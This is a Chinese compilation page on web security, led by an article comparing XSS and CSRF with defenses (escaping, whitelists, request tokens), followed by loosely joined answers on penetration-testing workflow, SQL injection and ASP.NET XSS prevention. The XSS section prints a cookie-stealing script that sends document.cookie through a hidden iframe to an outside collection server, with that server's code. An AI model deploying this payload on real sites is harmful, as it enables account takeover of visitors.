前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
如何进行Web渗透测试
什么是渗透测试？
渗透测试，是渗透测试工程师完全模拟黑客可能使用的攻击技术和漏洞发现技术，对目标网络、主机、应用的安全作深入的探测，发现系统最脆弱的环节。
如何进行Web渗透测试？
完整web渗透测试框架当需要测试的web应用数以千计，就有必要建立一套完整的安全测试框架，流程的最高目标是要保证交付给客户的安全测试服务质量。
1、立项：项目建立，时间安排，人力分配，目标制定，厂商接口人确定；
系统分析威胁分析：针对具体的web应用，分析系统架构、使用的组件、对外提供的接口等，以STRIDE为威胁模型进行对应的安全威胁分析，输出安全威胁分析表，重点关注top3威胁；
制定测试用例：根据威胁分析的结果制定对应的测试用例，测试用例按照模板输出，具备可执行性；
测试执行漏洞挖掘：测试用例执行发散测试，挖掘对应的安全问题or漏洞；
问题修复回归测试：指导客户应用开发方修复安全问题or漏洞，并进行回归测试，确保安全问题or漏洞得到修复，并且没有引入新的安全问题；
项目总结评审：项目过程总结，输出文档评审，相关文档归档。
2、Web应用的渗透测试流程
主要分为3个阶段，分别是：信息收集→漏洞发现→漏洞利用，下面仔细分析一下各个阶段流程：
一、信息收集
在信息收集阶段，我们需要尽量多的收集关于目标web应用的各种信息，比如：脚本语言的类型、服务器的类型、目录的结构、使用的开源软件、数据库类型、所有链接页面，用到的框架等
脚本语言的类型：常见的脚本语言的类型包括：php、asp、aspx、jsp等
测试方法：
1 爬取网站所有链接，查看后缀
2 直接访问一个不存在页面后面加不同的后缀测试
3 查看robots.txt，查看后缀
服务器的类型：常见的web服务器包括：apache、tomcat、IIS、ngnix等
测试方法：
1 查看header，判断服务器类型
2 根据报错信息判断
3 根据默认页面判断
目录的结构：了解更多的目录，可能发现更多的弱点，如：目录浏览、代码泄漏等。
测试方法
1 使用字典枚举目录
2 使用爬虫爬取整个网站，或者使用google等搜索引擎获取
3 查看robots.txt是否泄漏
使用的开源软件：我们如果知道了目标使用的开源软件，我们可以查找相关的软件的漏洞直接对网站进行测试。
测试方法
指纹识别（网络上有很多开源的指纹识别工具）
数据库类型：对于不同的数据库有不同的测试方法。
测试方法
1 使应用程序报错，查看报错信息
2 扫描服务器的数据库端口（没做NAT且防火墙不过滤时有效）
所有链接页面：这个跟前面的获取目录结构类似，但是这个不只是获取网站的所有功能页面，有时候还可以获取到管理员备份的源码。
测试方法
1 使用字典枚举页面
2 使用爬虫爬取整个网站，或者使用google等搜索引擎获取
3 查看robots.txt是否泄漏
用到的框架：很多网站都利用开源的框架来快速开发网站，所以收集网站的框架信息也是非常关键的。
测试方法
指纹识别（网络上有很多开源的指纹识别工具）
二、漏洞发现
在这个阶段我们在做测试的时候要对症下药，不能盲目的去扫描，首先要确定目标应用是否使用的是公开的开源软件，开源框架等、然后在做深一度的漏洞扫描。
关于开源软件的漏洞发现
开源的软件：常见的开源软件有wordpress、phpbb、dedecms等
开源的框架：常见的开源框架有Struts2、 Spring MVC、ThinkPHP等
中间件服务器：常见的中间件服务器有jboss、tomcat、Weblogic等
数据库服务：常见的数据库服务mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
对于开源软件的测试方法
1 通过指纹识别软件判断开源软件的版本信息，针对不同的版本信息去开放的漏洞数据库查找相应版本的漏洞进行测试
2 对于默认的后台登录页、数据库服务端口认证等入口可以进行简单的暴力破解、默认口令尝试等操作
3 使用开源的漏洞发现工具对其进行漏洞扫描，如：WPScan
关于自主开发的应用
手动测试：这个阶段，我们需要手工测试所有与用户交互的功能，比如：留言、登入、下单、退出、退货、付款等操作
软件扫描：使用免费的软件扫描，如：appscan、wvs、netsparker，burp等
可能存在的漏洞
Owasp关键点
代码安全之上传文件
代码安全之文件包含
代码安全之SSRF
逻辑漏洞之密码重置
逻辑漏洞之支付漏洞
逻辑漏洞之越权访问
平台安全之中间件安全
三、漏洞利用
针对不同的弱点有不同的漏洞利用方式，需要的知识点也比较多。一般这个阶段包括两种方式，一种是手工测试，一种是工具测试
手工测试
手工测试是通过客户端或服务器访问目标服务，手工向目标程序发送特殊的数据，包括有效的和无效的输入，观察目标的状态、对各种输入的反应，根据结果来发现问题的漏洞检测技术。手工测试不需要额外的辅助工具，可由测试者独立完成，实现起来比较简单。但这种方法高度依赖于测试者，需要测试者对目标比较了解。手工测试可用于Web应用程序、浏览器及其他需要用户交互的程序。
这种方式对于有特殊过滤等操作，或者网络上没有成型的利用工具的时候可以使用。
工具测试
网络上有很多好用的免费利用工具，比如针对sql注入的sqlmap、针对软件漏洞的matesploit等。
XSS攻击如何实现以及保护Web站点免受跨站点脚本攻击
使用工具和测试防范跨站点脚本攻击. 跨站点脚本（XSS）攻击是当今主要的攻击途径之一，利用了Web站点的漏洞并使用浏览器来窃取cookie或进行金融交易。跨站点脚本漏洞比较常见，并且要求组织部署涵盖威胁建模、扫描工具和大量安全意识在内的周密的安全开发生命周期，以便达到最佳的XSS防护和预防。本文解释了跨站点脚本攻击是如何实现并且就如何保护企业Web应用免于这种攻击提供了建议。 跨站点脚本（XSS）允许攻击者通过利用因特网服务器的漏洞来发送恶意代码到其他用户。攻击者利用跨站点脚本（XSS）攻击向那些看似可信任的链接中注入恶意代码。当用户点击了链接后，内嵌的程序将被提交并且会在用户的电脑上执行，这会使黑客获取访问权限并偷走敏感数据。攻击者使用XSS来攻击受害者机器上的漏洞并且传输恶意代码而不是攻击系统本身。 通过用户输入的数据返回错误消息的Web表格，攻击者可以修改控制Web页面的HTML代码。黑客能够在垃圾信息中的链接里插入代码或者使用欺诈邮件来诱使用户对其身份产生信任。 例如攻击者可以发送带有URL的邮件给受害人，这个URL指向一个Web站点并且提供浏览器脚本作为输入；或者在博客或诸如Facebook、Twitter这样的社交网站上发布恶意URL链接。当用户点击这个链接时，该恶意站点以及脚本将会在其浏览器上运行。浏览器不知道脚本是恶意的并将盲目地运行这个程序，这转而允许攻击者的浏览器脚本使用站点的功能来窃取cookie或者冒充合法的用户来完成交易。 一些通常的跨站点脚本预防的最佳实践包括在部署前测试应用代码，并且以快速、简明的方式修补缺陷和漏洞。Web应用开发人员应该过滤用户的输入来移除可能的恶意字符和浏览器脚本，并且植入用户输入过滤代码来移除恶意字符。通常管理员也可以配置浏览器只接受来自信任站点的脚本或者关闭浏览器的脚本功能，尽管这样做可能导致使用Web站点的功能受限。 随着时代的进步黑客们变得更加先进，使用收集的工具集来加快漏洞攻击进程。这意味着仅仅部署这些通常的XSS预防实践是不够的，保护和预防过程必须从底层开始并持续提升。预防过程必须在开发阶段开始，建立在一个牢靠、安全的开发生命周期方法论之上的Web应用在发布版本中不太可能暴露出漏洞。这样以来，不仅提升了安全性，也改善了可用性而且缩减了维护的总体费用，因为在现场环境中修补问题比在开发阶段会花费更多。 威胁建模在XSS预防中也是重要的一个方面，应该纳入到每个组织的安全开发生命周期当中。威胁建模评估和辨识在开发阶段中应用程序面临的所有的风险，来帮助Web开发人员更好地理解需要什么样的保护以及攻击一旦得逞将对组织产生怎样的影响。要辨识一个特定应用的威胁级别，考虑它的资产以及它访问的敏感信息量是十分重要的。这个威胁建模过程将确保在应用的设计和开发过程中战略性地融合了安全因素，并且增强了Web开发人员的安全意识。 对于大型项目的Web开发人员来说，源代码扫描工具和Web应用漏洞扫描器是提高效率和减少工作量的通常选择。
一个完整的渗透测试流程，分为那几块，每一块有哪些内容
渗透测试网站和APP不太一样，以下我介绍一下APP的渗透测试过程吧！
工具
知道创宇安应用
Android（安卓）APP
方法/步骤
组件安全检测。
对Activity安全、Broadcast Receiver安全、Service安全、Content Provider安全、Intent安全和WebView的规范使用检测分析，发现因为程序中不规范使用导致的组件漏洞。
代码安全检测
对代码混淆、Dex保护、SO保护、资源文件保护以及第三方加载库的代码的安全处理进行检测分析，发现代码被反编译和破解的漏洞。
内存安全检测。
检测APP运行过程中的内存处理和保护机制进行检测分析，发现是否存在被修改和破坏的漏洞风险。
数据安全检测。
对数据输入、数据存储、存储数据类别、数据访问控制、敏感数据加密、内存数据安全、数据传输、证书验证、远程数据通信加密、数据传输完整性、本地数据通讯安全、会话安全、数据输出、调试信息、敏感信息显示等过程进行漏洞检测，发现数据存储和处理过程中被非法调用、传输和窃取漏洞。
业务安全检测。
对用户登录，密码管理，支付安全，身份认证，超时设置，异常处理等进行检测分析，发现业务处理过程中的潜在漏洞。
应用管理检测。
1）、下载安装：检测是否有安全的应用发布渠道供用户下载。检测各应用市场是否存在二次打包的恶意应用；
2）、应用卸载：检测应用卸载是否清除完全，是否残留数据；
3）、版本升级：检测是否具备在线版本检测、升级功能。检测升级过程是否会被第三方劫持、欺骗等漏洞；
渗透测试服务流程
1、确定意向。
1）、在线填写表单：企业填写测试需求；
2）、商务沟通：商务在收到表单后，会立即和意向客户取得沟通，确定测试意向，签订合作合同；
2、启动测试。
收集材料：一般包括系统帐号、稳定的测试环境、业务流程等。
3、执行测试。
1）、风险分析：熟悉系统、进行风险分析，设计测试风险点；
2）、漏洞挖掘：安全测试专家分组进行安全渗透测试，提交漏洞；
3）、报告汇总：汇总系统风险评估结果和漏洞，发送测试报告。
4、交付完成。
1）、漏洞修复：企业按照测试报告进行修复；
2）、回归测试：双方依据合同结算测试费用，企业支付费用。
如何使用深度学习检测XSS
XSS跨站漏洞分为大致三种：储存型XSS，反射型XSS，和DOM型XSS，一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。XSS几乎每个网站都存在，google，百度，360等都存在，存在和危害范围广，危害安全性大。
如何测试本地程序的安全性？如 sql注入 XSS攻击
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．
防护
归纳一下，主要有以下几点：
1.永远不要信任用户的输入。对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和
双"-"进行转换等。
2.永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测，软件一般采用sql注入检测工具jsky，网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入，XSS攻击等。
asp项目中如何防止xss攻击
asp中防止xss攻击的方法如下：
确保所有输出内容都经过 HTML 编码。
禁止用户提供的文本进入任何 HTML 元素属性字符串。
根据 msdn.microsoft.com/library/3yekbd5b 中的概述，检查 Request.Browser，以阻止应用程序使用 Internet Explorer 6。
了解控件的行为以及其输出是否经过 HTML 编码。如果未经过 HTML 编码，则对进入控件的数据进行编码。
使用 Microsoft 防跨站点脚本库 (AntiXSS) 并将其设置为您的默认 HTML 编码器。
在将 HTML 数据保存到数据库之前，使用 AntiXSS Sanitizer 对象（该库是一个单独的下载文件，将在下文中介绍）调用 GetSafeHtml 或 GetSafeHtmlFragment；不要在保存数据之前对数据进行编码。
对于 Web 窗体，不要在网页中设置 EnableRequestValidation=false。遗憾的是，Web 上的大多数用户组文章都建议在出现错误时禁用该设置。该设置的存在是有原因的，例如，如果向服务器发送回“X”之类的字符组合，该设置将阻止请求。如果您的控件将 HTML 发送回服务器并收到图 5 所示的错误，那么理想情况下，您应该在将数据发布到服务器之前对数据进行编码。这是 WYSIWYG 控件的常见情形，现今的大多数版本都会在将其 HTML 数据发布回服务器之前对该数据进行正确编码。
对于 ASP.NET MVC 3 应用程序，当您需要将 HTML 发布回模型时，不要使用 ValidateInput(false) 来关闭请求验证。只需向模型属性中添加 [AllowHtml] 即可，如下所示：
public class BlogEntry
{
public int UserId {get;set;}
[AllowHtml]
public string BlogText {get;set;}
}
安全测试中如何找出权限控制漏洞
目前我经常用的漏洞检测工具主要就是爱内测，因为爱内测会根据应用特性，对程序机密性会采取不同程度不同方式的检测，检测项目包括代码是否混淆，DEX、so库文件是否保护，程序签名、权限管理是否完整等；组件安全检测主要针对Activity、Broadcast Receiver、Service、WebView、Intent等是否存在漏洞，并给出针对性建议；数据安全会全面检测APP存在的数据泄漏漏洞和输出层、协议层等所有涉及数据安全的漏洞，确保APP里那些可能导致帐号泄露的漏洞被全部检测出。